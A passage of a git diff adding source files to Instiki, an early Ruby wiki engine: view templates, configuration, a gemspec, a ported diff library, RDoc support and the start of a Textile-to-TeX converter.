
+ + +<% end %> +
+ +<%= render 'bottom' %> diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml new file mode 100755 index 00000000..a12ade5f --- /dev/null +++ b/app/views/wiki/locked.rhtml @@ -0,0 +1,14 @@ +<% @title = "#{@page.plain_name} is locked" %><%= render 'top' %> + +<% if @page.lock_duration(Time.now) == 0 %> +

<%= @page.locked_by_link %> just started editing this page.

+<% else %> +

<%= @page.locked_by_link %> has been editing this page for <%= @page.lock_duration(Time.now) %> minutes.

+<% end %> + +

+ Edit the page anyway | + Cancel +

+ +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/login.rhtml b/app/views/wiki/login.rhtml new file mode 100755 index 00000000..24e94df9 --- /dev/null +++ b/app/views/wiki/login.rhtml @@ -0,0 +1,11 @@ +<% @title = "#{@web_name} Login" %><% @hide_navigation = true %><%= render 'top' %> + + +

+ Password
+ +

+
+ + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new.rhtml b/app/views/wiki/new.rhtml new file mode 100755 index 00000000..5123ace3 --- /dev/null +++ b/app/views/wiki/new.rhtml @@ -0,0 +1,27 @@ +<% + @title = "Creating #{WikiWords.separate(CGI.unescape(@page_name))}" + @content_width = 720 + @hide_navigation = true +%><%= render 'top' %> + +<%= render("#{@web.markup}_help") if @web %> + +
+

+ +

+

+ as + +

+
+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new_system.rhtml b/app/views/wiki/new_system.rhtml new file mode 100755 index 00000000..9113e5f1 --- /dev/null +++ b/app/views/wiki/new_system.rhtml @@ -0,0 +1,78 @@ +<% @title = "Instiki Setup"; @content_width = 500 %><%= render 'top' %> + +

+ Congratulations on succesfully installing and starting Instiki. + Since this is the first time Instiki has been run on this port, you'll need to do a brief one-time setup. +

+ +
+
    +
  1. + +

    Name and address for your first web

    +
    + The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. Ex: the address "rails" gives URLs like /rails/show/HomePage. The address can only consist of letters & digits. +
    +
    + Name:    + Address: +
    +
  2. + +
  3. +

    Password for creating and changing webs

    +
    + Administrative access allows you to make new webs and change existing ones.
    + Everyone with this password will be able to do this, so pick it carefully. +
    +
    + Password:    + Verify: +
    +
  4. +
+ +

+ +

+
+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/new_web.rhtml b/app/views/wiki/new_web.rhtml new file mode 100755 index 00000000..d5332269 --- /dev/null +++ b/app/views/wiki/new_web.rhtml @@ -0,0 +1,64 @@ +<% @title = "New Wiki Web"; @content_width = 500 %><%= render 'top' %> + +

+ Each web serves as an isolated name space for wiki pages, so different subjects or projects can write about different MuppetShows. +

+ +
+
    +
  1. +

    Name and address for your new web

    +
    + The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. Ex: the address "rails" gives URLs like /rails/show/HomePage. The address can only consist of letters & digits. +
    +
    + Name:    + Address: +
    +
  2. +
+ + +

+ + Enter system password + + and + + +

+ +
+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/page.rhtml b/app/views/wiki/page.rhtml new file mode 100755 index 00000000..8d506bd8 --- /dev/null +++ b/app/views/wiki/page.rhtml @@ -0,0 +1,81 @@ +<% @title = @page.plain_name %> +<%= render 'top' %> + +
+ <%= @page.display_content %> +
+ + + + + + + + + +<%= render 'bottom' %> diff --git a/app/views/wiki/print.rhtml b/app/views/wiki/print.rhtml new file mode 100755 index 00000000..c358c158 --- /dev/null +++ b/app/views/wiki/print.rhtml @@ -0,0 +1,16 @@ +<% + @title = @page.plain_name + @hide_navigation = true + @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" + @inline_style = true +%><%= render 'top' %> + +<%= @page.display_content_for_export %> + + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/published.rhtml b/app/views/wiki/published.rhtml new file mode 100755 index 00000000..191ffdae --- /dev/null +++ b/app/views/wiki/published.rhtml @@ -0,0 +1,10 @@ +<% + @title = @page.plain_name + @hide_navigation = false + @style_additions = ".newWikiWord { background-color: white; font-style: italic; }" + @inline_style = true +%><%= render 'top' %> + +<%= @page.display_published %> + +<%= render 'bottom' %> diff --git a/app/views/wiki/recently_revised.rhtml b/app/views/wiki/recently_revised.rhtml new file mode 100755 index 00000000..5a387c7c --- /dev/null +++ b/app/views/wiki/recently_revised.rhtml @@ -0,0 +1,30 @@ +<% @title = "Recently Revised" %><%= render 'top' %> + +<% unless @categories.empty? %> +
+ Categories: + [Any] + <%= @category_links.join(', ') %> +
+<% end %> + +<% revision_date = Date.new(2100) %> +
    +<% for page in @pages_by_revision %> + <% if page.revised_on < revision_date %> +
<%= page.pretty_revised_on %>
    + <% end %> + +
  • + <%= page.plain_name %> + +
  • + + <% revision_date = page.revised_on %> +<% end %> + +<%= render 'bottom' %> diff --git a/app/views/wiki/revision.rhtml b/app/views/wiki/revision.rhtml new file mode 100755 index 00000000..52b2924c --- /dev/null +++ b/app/views/wiki/revision.rhtml @@ -0,0 +1,81 @@ +<% @title = "#{@page.plain_name} (Rev ##{@revision.number})" %><%= render 'top' %> + +
    + <%= @revision.display_content %> +
    + + + + + + + + + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/rollback.rhtml b/app/views/wiki/rollback.rhtml new file mode 100755 index 00000000..7581f70e --- /dev/null +++ b/app/views/wiki/rollback.rhtml @@ -0,0 +1,31 @@ +<% + @title = "Rollback to #{@page.plain_name} Rev ##{@revision.number}" + @content_width = 720 + @hide_navigation = true +%><%= render 'top' %> + +<%= "

    Please correct the error that caused this error in rendering:
    #{@params["msg"]}

    " if @params["msg"] %> + +
    +

    + +

    +

    + as + + | Cancel (unlocks page) +

    +
    + +<%= render("#{@web.markup}_help") if @web %> + + + +<%= render 'bottom' %> diff --git a/app/views/wiki/rss_feed.rhtml b/app/views/wiki/rss_feed.rhtml new file mode 100755 index 00000000..1c086e6b --- /dev/null +++ b/app/views/wiki/rss_feed.rhtml @@ -0,0 +1,22 @@ + + + + <%= @web.name %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => 'HomePage' %> + An Instiki wiki + en-us + 40 + <% for page in @pages_by_revision %> + + <%= page.plain_name %> + <% unless @hide_description %> + <%= CGI.escapeHTML(page.display_content) %> + <% end %> + <%= page.created_at.strftime "%a, %e %b %Y %H:%M:%S %Z" %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> + <%= url_for :only_path => false, :web => @web_name, :action => 'show', :id => page.name %> + <%= WikiWords.separate(page.author) %> + + <% end %> + + diff --git a/app/views/wiki/search.rhtml b/app/views/wiki/search.rhtml new file mode 100755 index 00000000..c3704fbf --- /dev/null +++ b/app/views/wiki/search.rhtml @@ -0,0 +1,15 @@ +<% @title = @results.length > 0 ? "#{@results.length} pages contains \"#{@params["query"]}\"" : "No pages contains \"#{@query}\"" %><%= render 'top' %> + +<% if @results.length > 0 %> + +<% else %> +

    Perhaps you should try expanding your query. Remember that Instiki searches for entire phrases, so if you search for "all that jazz" it will not match pages that contain these words in separation—only as a sentence fragment.

    + +

    If you're a high-tech computer wizard, you might even want try constructing a regular expression. That's actually what Instiki uses, so go right ahead and flex your "[a-z]*Leet?RegExpSkill(s|z)"

    +<% end %> + +<%= render 'bottom' %> diff --git a/app/views/wiki/tex.rhtml b/app/views/wiki/tex.rhtml new file mode 100755 index 00000000..4c128a68 --- /dev/null +++ b/app/views/wiki/tex.rhtml @@ -0,0 +1,23 @@ +\documentclass[12pt,titlepage]{article} + +\usepackage[danish]{babel} %danske tekster +\usepackage[OT1]{fontenc} %rigtige danske bogstaver... +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8]{inputenc} +\input epsf + +%------------------------------------------------------------------- + +\begin{document} + +\sloppy + +%------------------------------------------------------------------- + +\section*{<%= @page.name %>} + +<%= @tex_content %> + +\end{document} \ No newline at end of file diff --git a/app/views/wiki/tex_web.rhtml b/app/views/wiki/tex_web.rhtml new file mode 100755 index 00000000..9fd8c5a3 --- /dev/null +++ b/app/views/wiki/tex_web.rhtml @@ -0,0 +1,35 @@ +\documentclass[12pt,titlepage]{article} + +\usepackage{fancyhdr} +\pagestyle{fancy} + +\fancyhead[LE,RO]{} +\fancyhead[LO,RE]{\nouppercase{\bfseries \leftmark}} +\fancyfoot[C]{\thepage} + +\usepackage[danish]{babel} %danske tekster +\usepackage{a4} +\usepackage{graphicx} +\usepackage{ucs} +\usepackage[utf8]{inputenc} +\input epsf + + +%------------------------------------------------------------------- + +\title{<%= @web_name %>} + +\begin{document} + +\maketitle + +\tableofcontents +\pagebreak + +\sloppy + +%------------------------------------------------------------------- + +<%= @tex_content %> + +\end{document} \ No newline at end of file diff --git a/app/views/wiki/web_list.rhtml b/app/views/wiki/web_list.rhtml new file mode 100755 index 00000000..d05f25ca --- /dev/null +++ b/app/views/wiki/web_list.rhtml @@ -0,0 +1,20 @@ +<% @title = "Wiki webs" %><%= render 'top' %> + +
      +<% for web in @webs %> +
    • + <% if web.published %> + <%= web.make_link 'HomePage', web.name, :mode => :publish %> (read-only) / + <%= web.make_link 'HomePage', 'editable version', :mode => :edit %> (requires login) + <% else %> + <%= web.make_link 'HomePage', nil, :mode => :edit %> + <% end %> + + +
    • +<% end %> +
    + +<%= render 'bottom' %> diff --git a/app/views/wiki_words_help.rhtml b/app/views/wiki_words_help.rhtml new file mode 100755 index 00000000..2b026891 --- /dev/null +++ b/app/views/wiki_words_help.rhtml @@ -0,0 +1,9 @@ +

    Wiki words

    +

    + Two or more uppercase words stuck together (camel case) or any phrase surrounded by double + brackets is a wiki word. A camel-case wiki word can be escaped by putting \ in front of it. +

    +

    + Wiki words: HomePage, ThreeWordsTogether, [[C++]], [[Let's play again!]]
    + Not wiki words: IBM, School +

    diff --git a/config/environment.rb b/config/environment.rb new file mode 100644 index 00000000..f8db9b4e --- /dev/null +++ b/config/environment.rb @@ -0,0 +1,59 @@ +if RUBY_VERSION < "1.8.1" + puts "Instiki requires Ruby 1.8.1+" + exit +end + +RAILS_ROOT = File.dirname(__FILE__) + "/../" unless defined? RAILS_ROOT +RAILS_ENV = ENV['RAILS_ENV'] || 'production' unless defined? RAILS_ENV + +unless defined? ADDITIONAL_LOAD_PATHS +# Mocks first. + ADDITIONAL_LOAD_PATHS = ["#{RAILS_ROOT}/test/mocks/#{RAILS_ENV}"] + +# Then model subdirectories. + ADDITIONAL_LOAD_PATHS.concat(Dir["#{RAILS_ROOT}/app/models/[_a-z]*"]) + +# Followed by the standard includes. + ADDITIONAL_LOAD_PATHS.concat %w( + app + app/models + app/controllers + app/helpers + config + libraries + ).map { |dir| "#{File.expand_path(File.join(RAILS_ROOT, dir))}" } + +# Third party vendors + ADDITIONAL_LOAD_PATHS.concat %w( + vendor/bluecloth-1.0.0/lib + vendor/madeleine-0.7.1/lib + vendor/redcloth-2.0.11/lib + vendor/rubyzip-0.5.6 + vendor/actionpack/lib + vendor/activesupport/lib + vendor/railties/lib + ).map { |dir| + "#{File.expand_path(File.join(RAILS_ROOT, dir))}" + }.delete_if { |dir| not File.exist?(dir) } + +# Prepend to $LOAD_PATH + ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } +end + +require 'action_controller' +require 'active_record_stub' +require 'dependencies' + +unless defined? RAILS_DEFAULT_LOGGER + RAILS_DEFAULT_LOGGER = Logger.new(STDERR) + RAILS_DEFAULT_LOGGER.level = Logger::INFO + ActionController::Base.logger ||= RAILS_DEFAULT_LOGGER +end + +# Environment-specific configuration. +require "environments/#{RAILS_ENV}" +require 'wiki_service' + +Socket.do_not_reverse_lookup = true + +ActionController::Base.template_root ||= "#{RAILS_ROOT}/app/views/" diff --git a/config/environments/development.rb b/config/environments/development.rb new file mode 100755 index 00000000..26741be4 --- /dev/null +++ b/config/environments/development.rb @@ -0,0 +1,4 @@ +Dependencies.mechanism = :require +ActionController::Base.consider_all_requests_local = true +BREAKPOINT_SERVER_PORT = 42531 +ActionController::Base.logger.level = Logger::DEBUG diff --git a/config/environments/production.rb b/config/environments/production.rb new file mode 100644 index 00000000..8ce5207c --- /dev/null +++ b/config/environments/production.rb @@ -0,0 +1,2 @@ +Dependencies.mechanism = :require +ActionController::Base.consider_all_requests_local = false diff --git a/config/environments/test.rb b/config/environments/test.rb new file mode 100644 index 00000000..6b1c6ea3 --- /dev/null +++ b/config/environments/test.rb @@ -0,0 +1,14 @@ +Dependencies.mechanism = :require +ActionController::Base.consider_all_requests_local = true + +require 'fileutils' +FileUtils.mkdir_p(RAILS_ROOT + "/log") + +unless defined? TEST_LOGGER + timestamp = Time.now.strftime('%Y%m%d%H%M%S') + log_name = RAILS_ROOT + "/log/instiki_test.#{timestamp}.log" + $stderr.puts "To see the Rails log:\n less #{log_name}" + + TEST_LOGGER = ActionController::Base.logger = Logger.new(log_name) + ActionController::Base.logger.level = Logger::DEBUG +end \ No newline at end of file diff --git a/instiki b/instiki new file mode 100755 index 00000000..caf4352d --- /dev/null +++ b/instiki @@ -0,0 +1,2 @@ +#!/usr/bin/ruby +load File.dirname(__FILE__) + "/script/server" diff --git a/instiki.gemspec b/instiki.gemspec new file mode 100755 index 00000000..aaf23ec8 --- /dev/null +++ b/instiki.gemspec @@ -0,0 +1,44 @@ +$__instiki_source_patterns = ['[A-Z]*', 'instiki', 'app/**/*', 'libraries/**/*', 'vendor/**/*'] + +spec = Gem::Specification.new do |s| + s.platform = Gem::Platform::RUBY + s.name = 'instiki' + s.version = "0.9.2" + s.summary = 'Easy to install WikiClone running on WEBrick and Madeleine' + s.description = <<-EOF + Instiki is a Wiki Clone written in Ruby that ships with an embedded + webserver. You can setup up an Instiki in just a few steps. + Possibly the simplest wiki setup ever. + EOF + s.author = 'David Heinemeier Hansson' + s.email = 'david@loudthinking.com' + s.rubyforge_project = 'instiki' + s.homepage = 'http://www.instiki.org' + + s.bindir = '.' + s.executables = ['instiki'] + s.default_executable = 'instiki' + + s.has_rdoc = true + s.rdoc_options << '--title' << 'Instiki -- The Wiki' << + '--line-numbers' << '--inline-source' + # TODO: specify README as main RDoc file + + s.add_dependency('madeleine', '= 0.7.1') + s.add_dependency('BlueCloth', '= 1.0.0') + s.add_dependency('RedCloth', '= 2.0.11') + s.add_dependency('rubyzip', '= 0.5.5') + s.requirements << 'none' + s.require_path = 'libraries' + + s.files = $__instiki_source_patterns.inject([]) { |list, glob| + list << Dir[glob].delete_if { |path| + File.directory?(path) or + path.include?('CVS/') or + path.include?('vendor/') or + path.include?('test/') or + path.include?('_test.rb') + } + }.flatten + +end diff --git a/libraries/active_record_stub.rb b/libraries/active_record_stub.rb new file mode 100755 index 00000000..7596ec89 --- /dev/null +++ b/libraries/active_record_stub.rb @@ -0,0 +1,23 @@ +# This project uses Railties, which has an external dependency on ActiveRecord +# Since ActiveRecord may not be present in Instiki runtime environment, this +# file provides a stub replacement for it + +unless defined? ActiveRecord::Base + +module ActiveRecord + class Base + + # dependency in railties/lib/dispatcher.rb + def self.reset_column_information_and_inheritable_attributes_for_all_subclasses + # noop + end + + # dependency in actionpack/lib/action_controller/benchmarking.rb + def self.connected? + false + end + + end + end + +end \ No newline at end of file diff --git a/libraries/diff.rb b/libraries/diff.rb new file mode 100755 index 00000000..16fd8150 --- /dev/null +++ b/libraries/diff.rb @@ -0,0 +1,475 @@ +# heavily based off difflib.py - see that file for documentation +# ported from Python by Bill Atkins + +# This does not support all features offered by difflib; it +# implements only the subset of features necessary +# to support a Ruby version of HTML Differ. You're welcome to finish this off. + +# By default, String#each iterates by line. This isn't really appropriate +# for diff, so often a string will be split by // to get an array of one- +# character strings. + +# Some methods in Diff are untested and are not guaranteed to work. The +# methods in HTMLDiff and any methods it calls should work quite well. + +# changes by DenisMertz +# * main change: +# ** get the tag soup away +# the tag soup problem was first reported with

    tags, but it appeared also with +#

  • ,
      etc... tags +# this version should mostly fix these problems +# ** added a Builder class to manage the creation of the final htmldiff +# * minor changes: +# ** use symbols instead of string to represent opcodes +# ** small fix to html2list +# + +module Enumerable + def reduce(init) + result = init + each { |item| result = yield(result, item) } + result + end +end + +module Diff + + class SequenceMatcher + def initialize(a=[''], b=[''], isjunk=nil, byline=false) + a = (!byline and a.kind_of? String) ? a.split(//) : a + b = (!byline and b.kind_of? String) ? b.split(//) : b + @isjunk = isjunk || proc {} + set_seqs a, b + end + + def set_seqs(a, b) + set_seq_a a + set_seq_b b + end + + def set_seq_a(a) + @a = a + @matching_blocks = @opcodes = nil + end + + def set_seq_b(b) + @b = b + @matching_blocks = @opcodes = nil + chain_b + end + + def chain_b + @fullbcount = nil + @b2j = {} + pophash = {} + junkdict = {} + + @b.each_with_index do |elt, i| + if @b2j.has_key? elt + indices = @b2j[elt] + if @b.length >= 200 and indices.length * 100 > @b.length + pophash[elt] = 1 + indices.clear + else + indices.push i + end + else + @b2j[elt] = [i] + end + end + + pophash.each_key { |elt| @b2j.delete elt } + + junkdict = {} + + unless @isjunk.nil? + [pophash, @b2j].each do |d| + d.each_key do |elt| + if @isjunk.call(elt) + junkdict[elt] = 1 + d.delete elt + end + end + end + end + + @isbjunk = junkdict.method(:has_key?) + @isbpopular = junkdict.method(:has_key?) + end + + def find_longest_match(alo, ahi, blo, bhi) + besti, bestj, bestsize = alo, blo, 0 + + j2len = {} + + (alo..ahi).step do |i| + newj2len = {} + (@b2j[@a[i]] || []).each do |j| + if j < blo + next + end + if j >= bhi + break + end + + k = newj2len[j] = (j2len[j - 1] || 0) + 1 + if k > bestsize + besti, bestj, bestsize = i - k + 1, j - k + 1, k + end + end + j2len = newj2len + end + + while besti > alo and bestj > blo and + not @isbjunk.call(@b[bestj-1]) and + @a[besti-1] == @b[bestj-1] + besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + end + + while besti+bestsize < ahi and bestj+bestsize < bhi and + not @isbjunk.call(@b[bestj+bestsize]) and + @a[besti+bestsize] == @b[bestj+bestsize] + bestsize += 1 + end + + while besti > alo and bestj > blo and + @isbjunk.call(@b[bestj-1]) and + @a[besti-1] == @b[bestj-1] + besti, bestj, bestsize = besti-1, bestj-1, bestsize+1 + end + + while besti+bestsize < ahi and bestj+bestsize < bhi and + @isbjunk.call(@b[bestj+bestsize]) and + @a[besti+bestsize] == @b[bestj+bestsize] + bestsize += 1 + end + + [besti, bestj, bestsize] + end + + def get_matching_blocks + return @matching_blocks unless @matching_blocks.nil? or + @matching_blocks.empty? + + @matching_blocks = [] + la, lb = @a.length, @b.length + match_block_helper(0, la, 0, lb, @matching_blocks) + @matching_blocks.push [la, lb, 0] + end + + def match_block_helper(alo, ahi, blo, bhi, answer) + i, j, k = x = find_longest_match(alo, ahi, blo, bhi) + if not k.zero? + if alo < i and blo < j + match_block_helper(alo, i, blo, j, answer) + end + answer.push x + if i + k < ahi and j + k < bhi + match_block_helper(i + k, ahi, j + k, bhi, answer) + end + end + end + + def get_opcodes + unless @opcodes.nil? or @opcodes.empty? + return @opcodes + end + + i = j = 0 + @opcodes = answer = [] + get_matching_blocks.each do |ai, bj, size| + tag = if i < ai and j < bj + :replace + elsif i < ai + :delete + elsif j < bj + :insert + end + + answer.push [tag, i, ai, j, bj] if tag + + i, j = ai + size, bj + size + + answer.push [:equal, ai, i, bj, j] unless size.zero? + + end + return answer + end + + # XXX: untested + def get_grouped_opcodes(n=3) + codes = get_opcodes + if codes[0][0] == :equal + tag, i1, i2, j1, j2 = codes[0] + codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2 + end + + if codes[-1][0] == :equal + tag, i1, i2, j1, j2 = codes[-1] + codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n) + end + nn = n + n + group = [] + codes.each do |tag, i1, i2, j1, j2| + if tag == :equal and i2-i1 > nn + group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min] + yield group + group = [] + i1, j1 = [i1, i2-n].max, [j1, j2-n].max + group.push [tag, i1, i2, j1 ,j2] + end + end + if group and group.length != 1 and group[0][0] == :equal + yield group + end + end + + def ratio + matches = get_matching_blocks.reduce(0) do |sum, triple| + sum + triple[-1] + end + Diff.calculate_ratio(matches, @a.length + @b.length) + end + + def quick_ratio + if @fullbcount.nil? or @fullbcount.empty? + @fullbcount = {} + @b.each do |elt| + @fullbcount[elt] = (@fullbcount[elt] || 0) + 1 + end + end + + avail = {} + matches = 0 + @a.each do |elt| + if avail.has_key? elt + numb = avail[elt] + else + numb = @fullbcount[elt] || 0 + end + avail[elt] = numb - 1 + if numb > 0 + matches += 1 + end + end + Diff.calculate_ratio matches, @a.length + @b.length + end + + def real_quick_ratio + la, lb = @a.length, @b.length + Diff.calculate_ratio([la, lb].min, la + lb) + end + + protected :chain_b, :match_block_helper + end # end class SequenceMatcher + + def self.calculate_ratio(matches, length) + return 1.0 if length.zero? + 2.0 * matches / length + end + + # XXX: untested + def self.get_close_matches(word, possibilities, n=3, cutoff=0.6) + unless n > 0 + raise "n must be > 0: #{n}" + end + unless 0.0 <= cutoff and cutoff <= 1.0 + raise "cutoff must be in (0.0..1.0): #{cutoff}" + end + + result = [] + s = SequenceMatcher.new + s.set_seq_b word + possibilities.each do |x| + s.set_seq_a x + if s.real_quick_ratio >= cutoff and + s.quick_ratio >= cutoff and + s.ratio >= cutoff + result.push [s.ratio, x] + end + end + + unless result.nil? or result.empty? + result.sort + result.reverse! + result = result[-n..-1] + end + result.collect { |score, x| x } + end + + def self.count_leading(line, ch) + i, n = 0, line.length + while i < n and line[i].chr == ch + i += 1 + end + i + end +end + + +module HTMLDiff + include Diff + class Builder + VALID_METHODS = [:replace, :insert, :delete, :equal] + def initialize(a, b) + @a = a + @b = b + @content = [] + end + + def do_op(opcode) + @opcode = opcode + op = @opcode[0] + VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}") + self.method(op).call + end + + def result + @content.join('') + end + + #this methods have to be called via do_op(opcode) so that @opcode is set properly + private + + def replace + delete("diffmod") + insert("diffmod") + end + + def insert(tagclass="diffins") + op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]]) + end + + def delete(tagclass="diffdel") + op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]]) + end + + def equal + @content += @b[@opcode[3]...@opcode[4]] + end + + # using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins + def op_helper_simple(tagname, tagclass, to_add) + @content << "<#{tagname} class=\"#{tagclass}\">" + @content += to_add + @content << "" + end + + # this tries to put

      tags or newline chars before the opening diff tags ( or ) + # or after the ending diff tags + # as a result the diff tags should be the "more inside" possible. + # this seems to work nice with html containing only paragraphs + # but not sure it works if there are other tags (div, span ... ? ) around + def op_helper(tagname, tagclass, to_add) + @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or + HTMLDiff.is_p_close_tag(to_add.first) or + HTMLDiff.is_p_open_tag(to_add.first) ) + @content << "<#{tagname} class=\"#{tagclass}\">" + @content += to_add + last_tags = [] + last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or + HTMLDiff.is_p_close_tag(@content.last) or + HTMLDiff.is_p_open_tag(@content.last) ) + last_tags.unshift "" + @content += last_tags + remove_empty_diff(tagname, tagclass) + end + + def remove_empty_diff(tagname, tagclass) + if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "" then + @content.pop + @content.pop + end + end + + end + + def self.is_newline(x) + (x == "\n") or (x == "\r") or (x == "\t") + end + + def self.is_p_open_tag(x) + x =~ /\A<(p|li|ul|ol|dir|dt|dl)/ + end + + def self.is_p_close_tag(x) + x =~ %r!\A' + if b + cur += ']' + else + cur += c + end + out.push(cur) + cur = '' + mode = 'char' + else + cur += c + end + elsif mode == 'char' + if c == '<' + out.push cur + if b + cur = '[' + else + cur = c + end + mode = 'tag' + elsif /\s/.match c + out.push cur + c + cur = '' + else + cur += c + end + end + end + + out.push cur + # TODO: make something better here + out.each{|x| x.chomp! unless is_newline(x)} + out.find_all { |x| x != '' } + end + + +end + +if __FILE__ == $0 + + require 'pp' + # a = "

      this is the original string

      " # \n

      but around the world

      " + # b = "

      this is the original

      other parag

      string

      " + a = "
        \n\t
      • one
      • \n\t
      • two
      • \n
      " + b = "
        \n\t
      • one
      • \n\t
      • two\n\t
        • abc
      • \n
      " + puts a + pp HTMLDiff.html2list(a) + puts + puts b + pp HTMLDiff.html2list(b) + puts + puts HTMLDiff.diff(a, b) +end \ No newline at end of file diff --git a/libraries/rdocsupport.rb b/libraries/rdocsupport.rb new file mode 100755 index 00000000..62b84cb8 --- /dev/null +++ b/libraries/rdocsupport.rb @@ -0,0 +1,152 @@ +begin + require "rdoc/markup/simple_markup" + require 'rdoc/markup/simple_markup/to_html' +rescue LoadError + # use old version if available + require 'markup/simple_markup' + require 'markup/simple_markup/to_html' +end + +module RDocSupport + +# A simple +rdoc+ markup class which recognizes some additional +# formatting commands suitable for Wiki use. +class RDocMarkup < SM::SimpleMarkup + def initialize + super() + + pre = '(?:\\s|^|\\\\)' + + # links of the form + # [[ description with spaces]] + add_special(/((\\)?\[\[\S+?\s+.+?\]\])/,:TIDYLINK) + + # and external references + add_special(/((\\)?(link:|anchor:|http:|mailto:|ftp:|img:|www\.)\S+\w\/?)/, + :HYPERLINK) + + #
      + add_special(%r{(#{pre}
      )}, :BR) + + # and
      ...
      + add_html("center", :CENTER) + end + + def convert(text, handler) + super.sub(/^

      \n/, '').sub(/<\/p>$/, '') + end +end + +# Handle special hyperlinking requirments for RDoc formatted +# entries. Requires RDoc + +class HyperLinkHtml < SM::ToHtml + + # Initialize the HyperLinkHtml object. + # [path] location of the node + # [site] object representing the whole site (typically of class + # +Site+) + def initialize + super() + add_tag(:CENTER, "

      ", "
      ") + end + + # handle
      + def handle_special_BR(special) + return "<br/>" if special.text[0,1] == '\\' + special.text + end + + # We're invoked with a potential external hyperlink. + # [mailto:] just gets inserted. + # [http:] links are checked to see if they + # reference an image. If so, that image gets inserted + # using an tag. Otherwise a conventional + # is used. + # [img:] insert a tag + # [link:] used to insert arbitrary references + # [anchor:] used to create an anchor + def handle_special_HYPERLINK(special) + text = special.text.strip + return text[1..-1] if text[0,1] == '\\' + url = special.text.strip + if url =~ /([A-Za-z]+):(.*)/ + type = $1 + path = $2 + else + type = "http" + path = url + url = "http://#{url}" + end + + case type + when "http" + if url =~ /\.(gif|png|jpg|jpeg|bmp)$/ + "" + else + "#{url.sub(%r{^\w+:/*}, '')}" + end + when "img" + "" + when "link" + "#{path}" + when "anchor" + "" + else + "#{url.sub(%r{^\w+:/*}, '')}" + end + end + + # Here's a hyperlink where the label is different to the URL + # [[url label that may contain spaces]] + # + + def handle_special_TIDYLINK(special) + text = special.text.strip + return text[1..-1] if text[0,1] == '\\' + unless text =~ /\[\[(\S+?)\s+(.+?)\]\]/ + return text + end + url = $1 + label = $2 + label = RDocFormatter.new(label).to_html + label = label.split.select{|x| x =~ /\S/}. + map{|x| x.chomp}.join(' ') + + case url + when /link:(\S+)/ + return %{#{label}} + when /img:(\S+)/ + return %{#{label}} + when /rubytalk:(\S+)/ + return %{#{label}} + when /rubygarden:(\S+)/ + return %{#{label}} + when /c2:(\S+)/ + return %{#{label}} + when /isbn:(\S+)/ + return %{#{label}} + end + + unless url =~ /\w+?:/ + url = "http://#{url}" + end + + "#{label}" + end +end + +class RDocFormatter + def initialize(text) + @text = text + end + + def to_html + markup = RDocMarkup.new + h = HyperLinkHtml.new + markup.convert(@text, h) + end +end + +end \ No newline at end of file diff --git a/libraries/redcloth_for_tex.rb b/libraries/redcloth_for_tex.rb new file mode 100755 index 00000000..9c347645 --- /dev/null +++ b/libraries/redcloth_for_tex.rb @@ -0,0 +1,880 @@ +# vim:ts=4:sw=4: +# = RedCloth - Textile for Ruby +# +# (c) 2003 why the lucky stiff (and his puppet organizations.) +# +# (see http://www.textism.com/tools/textile/ for Textile) +# +# Based on (and also inspired by) both: +# +# PyTextile: http://diveintomark.org/projects/textile/textile.py.txt +# Textism for PHP: http://www.textism.com/tools/textile/ +# +# +# == What is Textile? +# +# Textile is a simple formatting style for text +# documents, loosely based on some HTML conventions. +# +# === Sample Textile Text +# +# h2. This is a title +# +# h3. This is a subhead +# +# This is a bit of paragraph. +# +# bq. This is a blockquote. +# +# === Writing Textile +# +# A Textile document consists of paragraphs. Paragraphs +# can be specially formatted by adding a small instruction +# to the beginning of the paragraph. +# +# h[n]. Header of size [n]. +# bq. Blockquote. +# # Numeric list. +# * Bulleted list. +# +# === Quick Phrase Modifiers +# +# Quick phrase modifiers are also included, to allow formatting +# of small portions of text within a paragraph. +# +# _emphasis_ +# __italicized__ +# *strong* +# **bold** +# ??citation?? +# -deleted text- +# +inserted text+ +# ^superscript^ +# ~subscript~ +# @code@ +# %(classname)span% +# +# ==notextile== (leave text alone) +# +# === Links +# +# To make a hypertext link, put the link text in "quotation +# marks" followed immediately by a colon and the URL of the link. +# +# Optional: text in (parentheses) following the link text, +# but before the closing quotation mark, will become a Title +# attribute for the link, visible as a tool tip when a cursor is above it. +# +# Example: +# +# "This is a link (This is a title) ":http://www.textism.com +# +# Will become: +# +# This is a link +# +# === Images +# +# To insert an image, put the URL for the image inside exclamation marks. +# +# Optional: text that immediately follows the URL in (parentheses) will +# be used as the Alt text for the image. Images on the web should always +# have descriptive Alt text for the benefit of readers using non-graphical +# browsers. +# +# Optional: place a colon followed by a URL immediately after the +# closing ! to make the image into a link. +# +# Example: +# +# !http://www.textism.com/common/textist.gif(Textist)! +# +# Will become: +# +# Textist +# +# With a link: +# +# !/common/textist.gif(Textist)!:http://textism.com +# +# Will become: +# +# Textist +# +# === Defining Acronyms +# +# HTML allows authors to define acronyms via the tag. The definition appears as a +# tool tip when a cursor hovers over the acronym. A 